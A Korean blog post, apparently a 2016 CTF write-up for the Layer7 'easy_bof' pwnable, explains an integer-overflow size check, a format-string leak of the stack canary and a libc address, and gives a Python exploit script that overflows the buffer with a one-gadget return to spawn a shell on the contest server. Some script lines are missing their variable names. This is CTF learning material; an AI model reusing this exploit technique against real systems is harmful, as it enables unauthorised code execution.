ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Layer CTF easy_bof
    Hack/Pwnable 2016. 9. 5. 01:12

    fsb와 bof가 같이 사용되는문제지만 fsb는 릭을 위하여 존재한다.




    해당 바이너리는 PIE, SSP, NX, ASLR의 보호기법이 걸려있기때문에 쉘코드는 물론 바이너리영역내에 있는 PLT도 사용하지못하게된다.

    즉 ROP는 안된다는소리


    우선 취약점 벡터로 가기위해서는 인티저 오버플로우가 사용된다.


    nbytes 변수는 %d 포맷스트링으로 정수를 입력받게되는데, nbytes는 size_t 자료형을 가지고있다.


    여기까진 인티저 오버플로우가 발생하지않는다 하지만 다음 조건문을 보자


    다음 조건문을 보게되면 nbytes 값을 signed int로 캐스팅하여 비교하고있다.


    -1을 넣어준다면 unsigned int의 최대크기만큼 입력받을 수 있기때문에 오버플로우가 발생한다.


    이제 FSB를 통해 카나리만 알아낸다면 익스플로잇의 뼈대는 잡을 수 있다.


    s0ngsari@ubuntu:~$ ./easy_bof

    -1  

    %x.%x.%x.%x.%x.%x.

    acbff9f0.1.0.0.s0ngsari@ubuntu:~$ 


    아무리 입력을 해줘봤자 출력되는값은 12바이트밖에 출력하지않는다. 어떠한 got도 덮지못하는 상황인데, fsb는 릭을 위해 사용된다.


    s0ngsari@ubuntu:~$ ./easy_bof

    -1

    %43$lx%45$lx

    bcb7536b28a093007f32956d1f45


    딱 포맷스트링페이로드는 12바이트이다.

    이걸 보면, 2개의 값이 나오게된다.


    canary: bcb7536b28a09300

    libc_leak : 7f32956d1f45


    카나리는 널바이트로 시작하기때문에(리틀엔디언) 카나리임을 알수있다.



    대회중, 라이브러리가 공유됬는데, 라이브러리와 카나리를 릭했으니 토대로 매직가젯을 사용하여 쉘을 획득하면된다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    from socket import *
    import struct
    from telnetlib import *
    = lambda x:struct.pack("<Q",x)
    up = lambda x:struct.unpack("<Q",x)
     
    HOST = "prob.layer7.kr"
    PORT = 10003
     
    = socket(AF_INET,SOCK_STREAM)
    s.connect((HOST,PORT))
     
    puts_libc = 0x66830
    magic_offset = 0x4525A
    def recvuntil(t):
            data = ''
            while not data.endswith(t):
                    tmp = s.recv(1)
                    if not tmp: break
                    data += tmp
            return data
     
    s.send("-1\n")
    s.send("%43$lx%45$lx\n")
    canary = int(s.recv(16),16)
    leak = int(s.recv(16),16)
    libcbase = leak - puts_libc
    magic_gadget = libcbase + magic_offset
    print "[*] Canary : " + hex(canary)
    print "[*] leak : " + hex(leak)
    print "[*] libc imagebase: " + hex(libcbase)
    print "[*] Magic Gadget: " + hex(magic_gadget)
     
    s.send("A"*264 + p(canary)+ p(magic_gadget) + "\n")
     
    = Telnet()
    t.sock = s
    t.interact()
     
    s.close()
    cs

     



    ## 완성페이로드 아님

    'Hack > Pwnable' 카테고리의 다른 글

    first_fit use after free  (0) 2016.09.13
    fast_dup double free attack  (0) 2016.09.13
    포맷스트링(Format String Bug) GOT Overwrite  (0) 2016.08.17
    Off-by-one  (0) 2016.08.11
    const overwrite, 버그헌팅하면서 배운점  (3) 2016.07.19

    댓글

Designed by Tistory.